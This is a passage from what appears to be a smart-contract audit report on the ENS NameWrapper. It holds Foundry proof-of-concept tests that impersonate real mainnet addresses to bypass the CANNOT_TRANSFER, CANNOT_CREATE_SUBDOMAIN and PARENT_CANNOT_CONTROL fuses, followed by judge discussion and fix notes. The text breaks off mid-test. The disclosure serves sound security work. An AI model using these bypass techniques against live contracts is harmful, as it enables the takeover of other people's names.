        bytes memory name,
        address wrappedOwner,
        uint32 fuses,
        uint64 expiry
    ) internal {
        _mint(node, wrappedOwner, fuses, expiry);
        emit NameWrapped(node, name, wrappedOwner, fuses, expiry);
    }

    function _storeNameAndWrap(
        bytes32 parentNode,
        bytes32 node,
        string memory label,
        address owner,
        uint32 fuses,
        uint64 expiry
    ) internal {
        bytes memory name = _addLabel(label, names[parentNode]);
        _wrap(node, name, owner, fuses, expiry);
    }

    function _saveLabel(
        bytes32 parentNode,
        bytes32 node,
        string memory label
    ) internal returns (bytes memory) {
        bytes memory name = _addLabel(label, names[parentNode]);
        names[node] = name;
        return name;
    }

    function _prepareUpgrade(bytes32 node)
        private
        returns (uint32 fuses, uint64 expiry)
    {
        if (address(upgradeContract) == address(0)) {
            revert CannotUpgrade();
        }

        if (!canModifyName(node, msg.sender)) {
            revert Unauthorised(node, msg.sender);
        }

        (, fuses, expiry) = getData(uint256(node));

        _burn(uint256(node));
    }

    function _updateName(
        bytes32 parentNode,
        bytes32 node,
        string memory label,
        address owner,
        uint32 fuses,
        uint64 expiry
    ) internal {
        address oldOwner = ownerOf(uint256(node));
        bytes memory name = _addLabel(label, names[parentNode]);
        if (names[node].length == 0) {
            names[node] = name;
        }
        _setFuses(node, oldOwner, fuses, expiry);
        if (owner == address(0)) {
            _unwrap(node, address(0));
        } else {
            _transfer(oldOwner, owner, uint256(node), 1, "");
        }
    }

    // wrapper function for stack limit
    function _checkParentFusesAndExpiry(
        bytes32 parentNode,
        bytes32 node,
        uint32 fuses,
        uint64 expiry
    ) internal view returns (uint64) {
        (, , uint64 oldExpiry) = getData(uint256(node));
        (, uint32 parentFuses, uint64 maxExpiry) = getData(
            uint256(parentNode)
        );
        _checkParentFuses(node, fuses, parentFuses);
        return _normaliseExpiry(expiry, oldExpiry, maxExpiry);
    }

    function _checkParentFuses(
        bytes32 node,
        uint32 fuses,
        uint32 parentFuses
    ) internal pure {
        bool isBurningParentControlledFuses = fuses & PARENT_CONTROLLED_FUSES !=
            0;

        bool parentHasNotBurnedCU = parentFuses & CANNOT_UNWRAP == 0;

        if (isBurningParentControlledFuses && parentHasNotBurnedCU) {
            revert OperationProhibited(node);
        }
    }

    function _normaliseExpiry(
        uint64 expiry,
        uint64 oldExpiry,
        uint64 maxExpiry
    ) internal pure returns (uint64) {
        // Expiry cannot be more than maximum allowed
        // .eth names will check registrar, non .eth check parent
        if (expiry > maxExpiry) {
            expiry = maxExpiry;
        }
        // Expiry cannot be less than old expiry
        if (expiry < oldExpiry) {
            expiry = oldExpiry;
        }

        return expiry;
    }

    function _wrapETH2LD(
        string memory label,
        address wrappedOwner,
        uint16 ownerControlledFuses,
        address resolver
    ) private {
        bytes32 labelhash = keccak256(bytes(label));
        bytes32 node = _makeNode(ETH_NODE, labelhash);
        // hardcode dns-encoded eth string for gas savings
        bytes memory name = _addLabel(label, "\x03eth\x00");
        names[node] = name;

        uint64 expiry = uint64(registrar.nameExpires(uint256(labelhash))) + GRACE_PERIOD;
        emit Debug("3");
        _wrap(
            node,
            name,
            wrappedOwner,
            ownerControlledFuses | PARENT_CANNOT_CONTROL | IS_DOT_ETH,
            expiry
        );
        emit Debug("5");


        emit Debug("6");
    }

    function _unwrap(bytes32 node, address owner) private {
        if (allFusesBurned(node, CANNOT_UNWRAP)) {
            revert OperationProhibited(node);
        }

        // Burn token and fuse data
        _burn(uint256(node));
        ens.setOwner(node, owner);

        emit NameUnwrapped(node, owner);
    }

    function _setFuses(
        bytes32 node,
        address owner,
        uint32 fuses,
        uint64 expiry
    ) internal {
        _setData(node, owner, fuses, expiry);
        emit FusesSet(node, fuses, expiry);
    }

    function _setData(
        bytes32 node,
        address owner,
        uint32 fuses,
        uint64 expiry
    ) internal {
        _canFusesBeBurned(node, fuses);
        super._setData(uint256(node), owner, fuses, expiry);
    }

    function _canFusesBeBurned(bytes32 node, uint32 fuses) internal pure {
        // If a non-parent controlled fuse is being burned, check PCC and CU are burnt
        if (
            fuses & ~PARENT_CONTROLLED_FUSES != 0 &&
            fuses & (PARENT_CANNOT_CONTROL | CANNOT_UNWRAP) !=
            (PARENT_CANNOT_CONTROL | CANNOT_UNWRAP)
        ) {
            revert OperationProhibited(node);
        }
    }

    function _checkFusesAreSettable(bytes32 node, uint32 fuses) internal pure {
        if (fuses | USER_SETTABLE_FUSES != USER_SETTABLE_FUSES) {
            // Cannot directly burn other non-user settable fuses
            revert OperationProhibited(node);
        }
    }

    function _getEthLabelhash(bytes32 node, uint32 fuses)
        internal
        view
        returns (bytes32 labelhash)
    {
        if (fuses & IS_DOT_ETH == IS_DOT_ETH) {
            bytes memory name = names[node];
            (labelhash, ) = name.readLabel(0);
        }
        return labelhash;
    }
}

Poc.t.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import {NameEncoder} from "2022-11-ens-code4rena/utils/NameEncoder.sol"; // dnsEncodeName(string name)
import {Root} from "2022-11-ens-code4rena/root/Root.sol";
import {ENS} from "2022-11-ens-code4rena/registry/ENS.sol"; // imports interface ENS
import {IBaseRegistrar} from "2022-11-ens-code4rena/ethregistrar/IBaseRegistrar.sol"; // eth registrar
import {BaseRegistrarImplementation} from "2022-11-ens-code4rena/ethregistrar/BaseRegistrarImplementation.sol"; // eth registrar
import {StaticMetadataService} from "2022-11-ens-code4rena/wrapper/StaticMetadataService.sol";
import {IMetadataService} from "2022-11-ens-code4rena/wrapper/IMetadataService.sol";
import {INameWrapper, CANNOT_UNWRAP, CANNOT_BURN_FUSES, CANNOT_TRANSFER, CANNOT_SET_RESOLVER, CANNOT_SET_TTL, CANNOT_CREATE_SUBDOMAIN, PARENT_CANNOT_CONTROL, CAN_DO_EVERYTHING, IS_DOT_ETH, PARENT_CONTROLLED_FUSES, USER_SETTABLE_FUSES} from "2022-11-ens-code4rena/wrapper/INameWrapper.sol";
import {NameWrapper, OperationProhibited, Unauthorised} from "2022-11-ens-code4rena/wrapper/NameWrapper.sol";
import {INameWrapperUpgrade} from "2022-11-ens-code4rena/wrapper/INameWrapperUpgrade.sol";
import {DummyOracle} from "2022-11-ens-code4rena/ethregistrar/DummyOracle.sol";
import {ExponentialPremiumPriceOracle} from "2022-11-ens-code4rena/ethregistrar/ExponentialPremiumPriceOracle.sol";
import {AggregatorInterface} from "2022-11-ens-code4rena/ethregistrar/StablePriceOracle.sol";
import {IETHRegistrarController, IPriceOracle} from "2022-11-ens-code4rena/ethregistrar/IETHRegistrarController.sol";
import {ETHRegistrarController} from "2022-11-ens-code4rena/ethregistrar/ETHRegistrarController.sol";
import {ReverseRegistrar} from "2022-11-ens-code4rena/registry/ReverseRegistrar.sol";
import {UpgradedNameWrapperMock} from "2022-11-ens-code4rena/wrapper/mocks/UpgradedNameWrapperMock.sol";

contract TestPoc is Test {
    using NameEncoder for string;
    address public root_owner = 0xCF60916b6CB4753f58533808fA610FcbD4098Ec0;
    address public root_addr = 0xaB528d626EC275E3faD363fF1393A41F581c5897; // root.ens.eth
		address public registry_addr = 0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e; // ENS
    address public registrar_owner = 0xFe89cc7aBB2C4183683ab71653C4cdc9B02D44b7;
    address public registrar_addr = 0x57f1887a8BF19b14fC0dF6Fd9B2acc9Af147eA85; // ETH Registrar
    address public reverse_addr = 0x084b1c3C81545d370f3634392De611CaaBFf8148;
    address public old_eth_registrar_controller_addr = 0x283Af0B28c62C092C9727F1Ee09c02CA627EB7F5; // old controller
    address public default_resolver = 0xA2C122BE93b0074270ebeE7f6b7292C7deB45047;
    address public user1 = 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045; // vitalik.eth
    address public user2 = address(1234);
    bytes32 public ROOT_NODE = bytes32(0);
    ENS public ens;
    Root public root;
    IBaseRegistrar public registrar;
    IMetadataService public metadata;
    NameWrapper public nameWrapper;
    INameWrapperUpgrade public nameWrapperUpgrade;
    AggregatorInterface public usdOracle;
    IPriceOracle public prices;
    ReverseRegistrar public reverse;
    ETHRegistrarController public ethController;

    function getDeployed() public {
        ens = ENS(registry_addr);
        root = Root(root_addr);
        registrar = IBaseRegistrar(registrar_addr);
    }

    function deploy() public {
        // Metadata Service
        metadata = IMetadataService(address(new StaticMetadataService('ens-metadata-service.appspot.com/name/0x{id}')));

        // NameWrapper
        deployNameWrapper();

        // price oracle\reverseregistrar
        deployPriceOracle();
        // reverseRegistrar
        deployReverseRegistrar();
        // eth controller
        deployETHRegistrarController();
    }


    function deployETHRegistrarController() public {
        uint256 _minCommitmentAge = 60;
        uint256 _maxCommitmentAge = 86400;
        ethController = new ETHRegistrarController(
          BaseRegistrarImplementation(address(registrar)),
          prices,
          _minCommitmentAge,
          _maxCommitmentAge,
          reverse,
          INameWrapper(address(nameWrapper))
        );
        // transferOwnership to owner
        ethController.transferOwnership(root_owner);
        assertEq(ethController.owner(), root_owner);
        vm.prank(root_owner);
        nameWrapper.setController(address(ethController), true);
        vm.prank(root_owner);
        reverse.setController(address(ethController), true);
    }

    function deployPriceOracle() public {
        // deploy based on the deploy script
        // dummyOracle
        int256 latestAns = 160000000000;
        usdOracle = AggregatorInterface(address(new DummyOracle(latestAns)));
        assertEq(latestAns, usdOracle.latestAnswer());
        // ExponentialPremiumPriceOracle
        uint256[] memory _rentPrices = new uint256[](5);
        _rentPrices[2] = 20294266869609;
        _rentPrices[3] = 5073566717402;
        _rentPrices[4] = 158548959919;
        uint256 _startPremium = 100000000000000000000000000;
        uint256 totalDays = 21;
        prices = IPriceOracle(address(new ExponentialPremiumPriceOracle(
          usdOracle, _rentPrices, _startPremium, totalDays
        )));
    }

    function deployReverseRegistrar() public {
        reverse = new ReverseRegistrar(ens);
        // transfer ownership of reverse to root_owner
        reverse.transferOwnership(root_owner);
        // set owner of .reverse to owner on root
        bytes32 subnode = keccak256(abi.encodePacked(ROOT_NODE, keccak256(bytes('reverse'))));
        vm.prank(root_owner);
        root.setSubnodeOwner(keccak256(bytes('reverse')), root_owner); 
        assertEq(ens.owner(subnode), root_owner);
        // set owner of .addr.reverse to reverseregistrar on registry
        string memory str_node = 'reverse';
        (, bytes32 reverse_node) = str_node.dnsEncodeName();
        vm.prank(root_owner);
        ens.setSubnodeOwner(reverse_node, keccak256(bytes('addr')), address(reverse));
        str_node = 'addr.reverse';
        (, reverse_node) = str_node.dnsEncodeName();
        assertEq(ens.owner(reverse_node), address(reverse));
        // set defaultResolver
        vm.prank(root_owner);
        reverse.setDefaultResolver(default_resolver);
        assertEq(default_resolver, address(reverse.defaultResolver()));
    }

    function deployNameWrapper() public {
        nameWrapper = new NameWrapper(ens, registrar, metadata);
        // transfer Ownership
        nameWrapper.transferOwnership(root_owner);
        assertEq(nameWrapper.owner(), root_owner);
        // add as controller on registrar
        assertEq(BaseRegistrarImplementation(registrar_addr).controllers(address(nameWrapper)), false);
        vm.prank(registrar_owner);
        registrar.addController(address(nameWrapper));
        assertEq(BaseRegistrarImplementation(registrar_addr).controllers(address(nameWrapper)), true);
    }

    function setUp() public {
        getDeployed();
        deploy();
    }

    function _hashLabel(string memory label) private pure returns (bytes32 ) {
        return keccak256(bytes(label));
    }

    function _makeNode(bytes32 node, bytes32 labelhash) private pure returns (bytes32) {
        return keccak256(abi.encodePacked(node, labelhash));
    }

    function deployNameWrapperUpgrade() public {
        // deploy UpgradedNameWrapperMock
        NameWrapper upgrade = new NameWrapper(ens, IBaseRegistrar(registrar_addr), metadata);
        // transfer Ownership
        upgrade.transferOwnership(root_owner);
        assertEq(upgrade.owner(), root_owner);
        // add as controller on registrar
        assertEq(BaseRegistrarImplementation(registrar_addr).controllers(address(upgrade)), false);
        vm.prank(registrar_owner);
        registrar.addController(address(upgrade));
        assertEq(BaseRegistrarImplementation(registrar_addr).controllers(address(upgrade)), true);

        nameWrapperUpgrade = INameWrapperUpgrade(address(upgrade));
    }

     function testM2TransferWhileUpgrade() public {
        // using the mock for upgrade contract
        deployNameWrapperUpgrade();
        string memory node_str = 'vitalik.eth';
        string memory sub1_full = 'sub1.vitalik.eth';
        string memory sub1_str = 'sub1';
        (, bytes32 node) = node_str.dnsEncodeName();
        (bytes memory sub1_dnsname, bytes32 sub1_node) = sub1_full.dnsEncodeName();

        // wrap parent and lock
        vm.prank(user1);
        registrar.setApprovalForAll(address(nameWrapper), true);
        vm.prank(user1);
        nameWrapper.wrapETH2LD('vitalik', user1, type(uint16).max /* all fuses are burned */, address(0));
        // sanity check
        (address owner, uint32 fuses, uint64 expiry) = nameWrapper.getData(uint256(node));
        assertEq(owner, user1);
        assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH | type(uint16).max);
        assertEq(expiry, 2038123728);

        // upgrade as nameWrapper's owner
        vm.prank(root_owner);
        nameWrapper.setUpgradeContract(nameWrapperUpgrade);
        assertEq(address(nameWrapper.upgradeContract()), address(nameWrapperUpgrade));
        assertEq(NameWrapper(address(nameWrapperUpgrade)).ownerOf(uint256(node)), address(0));

        // user1 calls upgradeETH2LD
        vm.prank(user1);
        address newOwner = address(123);
        nameWrapper.upgradeETH2LD('vitalik',  newOwner , address(0) /* resolver */);
        address secondOwner = NameWrapper(address(nameWrapperUpgrade)).ownerOf(uint256(node));
        assertEq(secondOwner, newOwner);
    }
}

#5 - c4-judge

2022-12-07T00:31:16Z

GalloDaSballo marked the issue as selected for report

#6 - GalloDaSballo

2022-12-07T00:42:00Z

Per the discussion above, the Warden has shown how, despite burning the fuse to prevent transfers, due to the implementation of NameWrapper, a node can still be transferred during an upgrade.

I believe that, technically this can be prevented by changing the implementation of the upgraded NameWrapper, and because it's reliant on that implementation, I agree with Medium Severity.

Performing a check for ownership on the old wrapper, I believe, should offer sufficient mitigation

#7 - csanuragjain

2023-01-10T08:30:28Z

Fixed. The owner value is now derived from getData function which retrieves the current node owner. If it does not matches the assigned owner then CANNOT_TRANSFER fuse is always checked (non expired scenario)

(address currentOwner, uint32 fuses, uint64 expiry) = _prepareUpgrade( node ); if (wrappedOwner != currentOwner) { _preTransferCheck(uint256(node), fuses, expiry); } // Now _preTransferCheck checks -> if (fuses & CANNOT_TRANSFER != 0) { revert OperationProhibited(bytes32(id)); }

Findings Information

🌟 Selected for report: zzzitron

Labels

bug
2 (Med Risk)
selected for report
sponsor confirmed
M-02

Awards

Data not available

External Links

Lines of code

https://github.com/code-423n4/2022-11-ens/blob/2b0491fee2944f5543e862b1e5d223c9a3701554/contracts/wrapper/NameWrapper.sol#L512 https://github.com/code-423n4/2022-11-ens/blob/2b0491fee2944f5543e862b1e5d223c9a3701554/contracts/wrapper/NameWrapper.sol#L550

Vulnerability details

Impact

  • expired Names are supposed to be unregistered, but it behaves like unwrapped
  • parent with CANNOT_CREATE_SUBDOMAIN fuse can "create" again an expired name
  • parent can ENS.setSubdomainOwner before burning CANNOT_CREATE_SUBDOMAIN to be able to use the subdomain later

Proof of Concept

Below is a snippet of the proof of concept. The whole code can be found in this gist. And how to run test is in the comment in the gist.

As in the wrapper/README.md:

To check if a name is Unregistered, verify that NameWrapper.ownerOf returns address(0) and so does Registry.owner. To check if a name is Unwrapped, verify that NameWrapper.ownerOf returns address(0) and Registry.owner does not.

Also, an expired name should go to Unregistered state per the graph suggests.

But, as the proof of concept below shows, after expiration, NameWrapper.ownerOf(node) is zero but ens.owner(node) is not zero. It is Unwrapped state based on the wrapper/README.md.

    function testM3ExpiredNamesBehavesUnwrapped() public {
        string memory str_node = 'vitalik.eth';
        (bytes memory dnsName, bytes32 node) = str_node.dnsEncodeName();
        // before wrapping the name check
        assertEq(user1, ens.owner(node));
        (address owner, uint32 fuses, uint64 expiry) = nameWrapper.getData(uint256(node));
        assertEq(owner, address(0));

        // -- wrapETH2LD
        vm.prank(user1);
        registrar.setApprovalForAll(address(nameWrapper), true);
        vm.prank(user1);
        nameWrapper.wrapETH2LD('vitalik', user1, 0, address(0));
        // after name wrap check
        (owner, fuses, expiry) = nameWrapper.getData(uint256(node));
        assertEq(owner, user1);
        assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH);
        assertEq(expiry, 2038123728);
        // wrapETH2LD --

        vm.warp(2038123729);
        // after expiry
        (owner, fuses, expiry) = nameWrapper.getData(uint256(node));
        assertEq(owner, address(0));
        assertEq(fuses, 0);
        assertEq(expiry, 2038123728);
        assertEq(nameWrapper.ownerOf(uint256(node)), address(0));
        assertEq(ens.owner(node), address(nameWrapper)); // registry.owner is not zero
        vm.expectRevert();
        registrar.ownerOf(uint256(node));
    }

Since an expired name is technically unwrapped, even a parent with CANNOT_CREATE_SUBDOMAIN can set the owner or records of the subdomain as the proof of concept below shows.

    function testM3ExpiredNameCreate() public {
        // After expired, the ens.owner's address is non-zero
        // therefore, the parent can 'create' the name evne CANNOT_CREATE_SUBDOMAIN is burned
        string memory parent = 'vitalik.eth';
        string memory sub1_full = 'sub1.vitalik.eth';
        string memory sub1 = 'sub1';
        (, bytes32 parent_node) = parent.dnsEncodeName();
        (bytes memory sub1_dnsname, bytes32 sub1_node) = sub1_full.dnsEncodeName();

        // wrap parent and lock
        vm.prank(user1);
        registrar.setApprovalForAll(address(nameWrapper), true);
        vm.prank(user1);
        nameWrapper.wrapETH2LD('vitalik', user1, uint16(CANNOT_UNWRAP), address(0));
        // checks
        (address owner, uint32 fuses, uint64 expiry) = nameWrapper.getData(uint256(parent_node));
        assertEq(owner, user1);
        assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH | CANNOT_UNWRAP);
        assertEq(expiry, 2038123728);

        // create subnode
        vm.prank(user1);
        nameWrapper.setSubnodeOwner(parent_node, 'sub1', user2, PARENT_CANNOT_CONTROL, 1700000000);
        (owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node));
        assertEq(owner, user2);
        assertEq(fuses, PARENT_CANNOT_CONTROL);
        assertEq(expiry, 1700000000);

        // now parent cannot create subdomain
        vm.prank(user1);
        nameWrapper.setFuses(parent_node, uint16(CANNOT_CREATE_SUBDOMAIN));
        (owner, fuses, expiry) = nameWrapper.getData(uint256(parent_node));
        assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH | CANNOT_UNWRAP | CANNOT_CREATE_SUBDOMAIN);
        // parent: pcc cu CANNOT_CREATE_SUBDOMAIN
        // child: pcc
        // unwrap and sets the owner to zero

        // parent cannot use setSubnodeRecord on PCCed sub
        vm.expectRevert(abi.encodeWithSelector(OperationProhibited.selector, sub1_node));
        vm.prank(user1);
        nameWrapper.setSubnodeRecord(parent_node, sub1, user1, address(1), 10, 0, 0);

        // expire sub1
        vm.warp(1700000001);
        (owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node));
        assertEq(owner, address(0));
        assertEq(fuses, 0);
        assertEq(expiry, 1700000000);
        assertEq(ens.owner(sub1_node), address(nameWrapper));

        // user1 can re-"create" sub1 even though CANNOT_CREATE_SUBDOMAIN is set on parent
        vm.prank(user1);
        nameWrapper.setSubnodeRecord(parent_node, sub1, address(3), address(11), 10, 0, 0);
        (owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node));
        assertEq(owner, address(3));
        assertEq(fuses, 0);
        assertEq(expiry, 1700000000);
        assertEq(ens.owner(sub1_node), address(nameWrapper));

        // comparison: tries create a new subdomain and revert
        string memory sub2 = 'sub2';
        string memory sub2_full = 'sub2.vitalik.eth';
        (, bytes32 sub2_node) = sub2_full.dnsEncodeName();
        vm.expectRevert(abi.encodeWithSelector(OperationProhibited.selector, sub2_node));
        vm.prank(user1);
        nameWrapper.setSubnodeRecord(parent_node, sub2, user2, address(11), 10, 0, 0);
    }

Tools Used

foundry

Unclear as the NameWrapper cannot set ENS.owner after expiration automatically.

<!-- zzzitron M03 -->

#0 - GalloDaSballo

2022-12-05T01:28:43Z

POC Looks valid, will ask for sponsor confirmation

#1 - c4-sponsor

2022-12-05T16:48:12Z

jefflau marked the issue as sponsor confirmed

#2 - jefflau

2022-12-05T17:16:51Z

Possible mitigation is:

If the owner in the registry is non-zero, then check if the ownerOf() in NameWrapper is 0. If it is, treat it as unregistered so it is protected under CANNOT_CREATE_SUBDOMAIN.

    modifier canCallSetSubnodeOwner(bytes32 node, bytes32 labelhash) {
        bytes32 subnode = _makeNode(node, labelhash);
        address owner = ens.owner(subnode);
        (address wrappedOwner, uint32 fuses, ) = getData(uint256(subnode));

        if (owner == address(0) || wrappedOwner == address(0)) {
            if (fuses & CANNOT_CREATE_SUBDOMAIN != 0) {
                revert OperationProhibited(subnode);
            }
        } else {
            (, uint32 subnodeFuses, ) = getData(uint256(subnode));
            if (subnodeFuses & PARENT_CANNOT_CONTROL != 0) {
                revert OperationProhibited(subnode);
            }
        }

        _;
    }

#3 - GalloDaSballo

2022-12-08T22:29:13Z

Was running into stack too deep so I created local stack (just added extra {)

    modifier canCallSetSubnodeOwner(bytes32 node, bytes32 labelhash) {
        {
            bytes32 subnode = _makeNode(node, labelhash);
            address owner = ens.owner(subnode);
            (address wrappedOwner, uint32 fuses, ) = getData(uint256(subnode));

            if (owner == address(0) || wrappedOwner == address(0)) {
                if (fuses & CANNOT_CREATE_SUBDOMAIN != 0) {
                    revert OperationProhibited(subnode);
                }
            } else {
                (, uint32 subnodeFuses, ) = getData(uint256(subnode));
                if (subnodeFuses & PARENT_CANNOT_CONTROL != 0) {
                    revert OperationProhibited(subnode);
                }
            }

        }

The modifier change makes testM3ExpiredNameCreate fail.

Will defer to Wardens for further advice, but I believe mitigation to be valid

#4 - GalloDaSballo

2022-12-08T22:30:38Z

The warden has shown how, domains that are expired are interpreted as unwrapped instead of as unregistered.

Given the impact, I think Medium Severity to be the most appropriate

#5 - c4-judge

2022-12-08T22:30:42Z

GalloDaSballo marked the issue as selected for report

#6 - zzzitron

2022-12-10T09:22:00Z

I think the mitigation works to disallow the bypass of the CANNOT_CREATE_SUBDOMAIN fuse.

But per the unregistered and unwrapped criteria in the docs, after expiration the domain is unwrapped.

To check if a name is Unregistered, verify that NameWrapper.ownerOf returns address(0) and so does Registry.owner. To check if a name is Unwrapped, verify that NameWrapper.ownerOf returns address(0) and Registry.owner does not.

#7 - csanuragjain

2023-01-10T08:41:02Z

Fixed. For all expired nodes, the CANNOT_CREATE_SUBDOMAIN flag is checked in both cases now (either ens owner or wrappedOwner is address(0) )

if (owner == address(0) || wrappedOwner == address(0)) { if (fuses & CANNOT_CREATE_SUBDOMAIN != 0) { revert OperationProhibited(subnode); } }

Findings Information

🌟 Selected for report: zzzitron

Labels

bug
2 (Med Risk)
selected for report
sponsor confirmed
M-03

Awards

Data not available

External Links

Lines of code

https://github.com/code-423n4/2022-11-ens/blob/2b0491fee2944f5543e862b1e5d223c9a3701554/contracts/wrapper/NameWrapper.sol#L512 https://github.com/code-423n4/2022-11-ens/blob/2b0491fee2944f5543e862b1e5d223c9a3701554/contracts/wrapper/NameWrapper.sol#L550

Vulnerability details

Impact

  • owner of a wrapped node without CANNOT_UNWRAP fuse can unwrap and set the ens.owner(node) to zero to be an unregistered state
  • if it happens, even if the node has PARENT_CANNOT_CONTROL fuse, the parent of the node can change the NameWrappwer.owner of the node

Proof of Concept

Below is a snippet of the proof of concept. The whole code can be found in this gist. And how to run test is in the comment in the gist.

In the proof of concept below, the parent node is vitalik.eth and the child node is sub1.vitalik.eth. The parent node has PARENT_CANNOT_CONTROL, IS_DOT_ETH and CANNOT_UNWRAP and the child node has PARENT_CANNOT_CONTROL.

The child node unwraps itself and set the owner on ens contract to the address(0) or address(ens), which will make the child node to unregistered state even before expiry of the node.

Since technically the child node is unregistered, the parent can now 'create' the 'unregistered' node sub1.vitalik.eth by simply calling setSubnodeRecord. By doing so, the parent can take control over the child node, even though the PARENT_CANNOT_CONTROL fuse was set and it was before expiry.

    function testM4WrappedToUnregistered() public {
        string memory parent = 'vitalik.eth';
        string memory sub1_full = 'sub1.vitalik.eth';
        string memory sub1 = 'sub1';
        (, bytes32 parent_node) = parent.dnsEncodeName();
        (bytes memory sub1_dnsname, bytes32 sub1_node) = sub1_full.dnsEncodeName();

        // wrap parent and lock
        vm.prank(user1);
        registrar.setApprovalForAll(address(nameWrapper), true);
        vm.prank(user1);
        nameWrapper.wrapETH2LD('vitalik', user1, uint16(CANNOT_UNWRAP), address(0));
        // checks
        (address owner, uint32 fuses, uint64 expiry) = nameWrapper.getData(uint256(parent_node));
        assertEq(owner, user1);
        assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH | CANNOT_UNWRAP);
        assertEq(expiry, 2038123728);

        // subnode
        vm.prank(user1);
        nameWrapper.setSubnodeOwner(parent_node, 'sub1', user2, PARENT_CANNOT_CONTROL, 1700000000);
        (owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node));
        assertEq(owner, user2);
        assertEq(fuses, PARENT_CANNOT_CONTROL);
        assertEq(expiry, 1700000000);

        // parent cannot set record on the sub1
        vm.expectRevert(abi.encodeWithSelector(OperationProhibited.selector, sub1_node));
        vm.prank(user1);
        nameWrapper.setSubnodeRecord(parent_node, sub1, user1, address(1), 10, 0, 0);

        // parent: pcc cu
        // child: pcc

        // unwrap sub and set the ens owner to zero -> now parent can change owner
        vm.prank(user2);
        nameWrapper.unwrap(parent_node, _hashLabel(sub1), address(ens));
        assertEq(ens.owner(sub1_node), address(0));

        // sub node has PCC but parent can set owner, resolve and ttl
        vm.prank(user1);
        nameWrapper.setSubnodeRecord(parent_node, sub1, address(246), address(12345), 111111, 0, 0);
        (owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node));
        assertEq(owner, address(246));
        assertEq(fuses, PARENT_CANNOT_CONTROL);
        assertEq(expiry, 1700000000);
        assertEq(ens.resolver(sub1_node), address(12345));
        assertEq(ens.ttl(sub1_node), 111111);

        // can change fuse as the new owner of sub1
        vm.prank(address(246));
        nameWrapper.setFuses(sub1_node, uint16(CANNOT_UNWRAP));
        (owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node));
        assertEq(owner, address(246));
        assertEq(fuses, PARENT_CANNOT_CONTROL | CANNOT_UNWRAP);
        assertEq(expiry, 1700000000);
        assertEq(ens.resolver(sub1_node), address(12345));
        assertEq(ens.ttl(sub1_node), 111111);
    }

It is unlikely that the child node will set the owner of the ENS Registry to zero. But hypothetically, the owner of the child node wanted to "burn" the subnode thinking that no one can use it until the expiry. In that case the owner of the parent node can just take over the child node.

Tools Used

foundry

Unclear, but consider using ENS.recordExists instead of checking the ENS.owner.

<!-- zzzitron M04 -->

#0 - c4-sponsor

2022-12-05T17:45:29Z

jefflau marked the issue as sponsor confirmed

#1 - GalloDaSballo

2022-12-06T23:04:46Z

The warden has shown how, after burning the PARENT_CANNOT_CONTROL fuse, by unregistering a node, it's possible for the Parent to control the node again.

An invariant is broken, but this condition is reliant on the node owner for it to be possible.

Because of this, I believe Medium Severity to be appropriate

#2 - c4-judge

2022-12-06T23:04:53Z

GalloDaSballo marked the issue as selected for report

#3 - csanuragjain

2023-01-10T08:22:50Z

Fixed.

If ens address was zero then earlier code bypassed check for PARENT_CANNOT_CONTROL and only checked CANNOT_CREATE_SUBDOMAIN

if (owner == address(0)) { (, uint32 fuses, ) = getData(uint256(node)); if (fuses & CANNOT_CREATE_SUBDOMAIN != 0) { revert OperationProhibited(subnode); } ...

With the updated code, all unexpired nodes will be checked for PARENT_CANNOT_CONTROL fuse

bool expired = subnodeExpiry < block.timestamp; if ( expired && ...) ... } else { if (subnodeFuses & PARENT_CANNOT_CONTROL != 0) { revert OperationProhibited(subnode); }

Findings Information

🌟 Selected for report: zzzitron

Also found by: csanuragjain, izhuer

Labels

bug
grade-a
QA (Quality Assurance)
selected for report
edited-by-warden
Q-01

Awards

Data not available

External Links

QA

LabelTitle
L00NameWrapper: Missing isWrapped function
L01NameWrapper: upgrade does not revert when called with ETH2LD

LOW

L00 NameWrapper: Missing isWrapped function

According to the wrapper/README.md:

To check if a name has been wrapped, call isWrapped(). This checks:

  • The NameWrapper is the owner in the Registry contract
  • The owner in the NameWrapper is non-zero

However, there is no implementation of the isWrapped() function.

L01 NameWrapper: upgrade does not revert when called with ETH2LD

The NameWrapper.upgrade function is supposed to be called only by non .eth domain, based on the comment. However, it currently lacks the check whether the given parentNode is not the ETH_NODE, and it allows to be called by .eth node as the proof of concept shows.

This is, however, reported as QA, assuming the upgraded NameWrapper has some logic to check the parentNode is not ETH_NODE. Nevertheless, to ensure that no .eth node can be called with NameWrapper.upgrade, it is probably good to have the check on the current NameWrapper.

https://github.com/code-423n4/2022-11-ens/blob/2b0491fee2944f5543e862b1e5d223c9a3701554/contracts/wrapper/NameWrapper.sol#L436

// NameWrapper.sol
 426     /**
 427      * @notice Upgrades a non .eth domain of any kind. Could be a DNSSEC name vitalik.xyz or a subdomain
 428      * @dev Can be called by the owner or an authorised caller
 429      * Requires upgraded Namewrapper to permit old Namewrapper to call `setSubnodeRecord` for all names
 430      * @param parentNode Namehash of the parent name
 431      * @param label Label as a string of the name to upgrade
 432      * @param wrappedOwner Owner of the name in this contract
 433      * @param resolver Resolver contract for this name
 434      */
 435
 436     function upgrade(
 437         bytes32 parentNode,
 438         string calldata label,
 439         address wrappedOwner,
 440         address resolver
 441     ) public {
 442         bytes32 labelhash = keccak256(bytes(label));
 443         bytes32 node = _makeNode(parentNode, labelhash);
 444         (uint32 fuses, uint64 expiry) = _prepareUpgrade(node);
 445         upgradeContract.setSubnodeRecord( 
 446             parentNode,
 447             label,
 448             wrappedOwner,
 449             resolver,
 450             0,
 451             fuses,
 452             expiry
 453         );
 454     }
// Proof of concept
// to run: add this code to the https://gist.github.com/zzzitron/7670730176e35d7b2322bc1f4b9737f0#file-2022-11-ens-versus-poc-t-sol-L345

    function testTest2() public {
        // using the mock for upgrade contract
        deployNameWrapperUpgrade();
        string memory node_str = 'vitalik.eth';
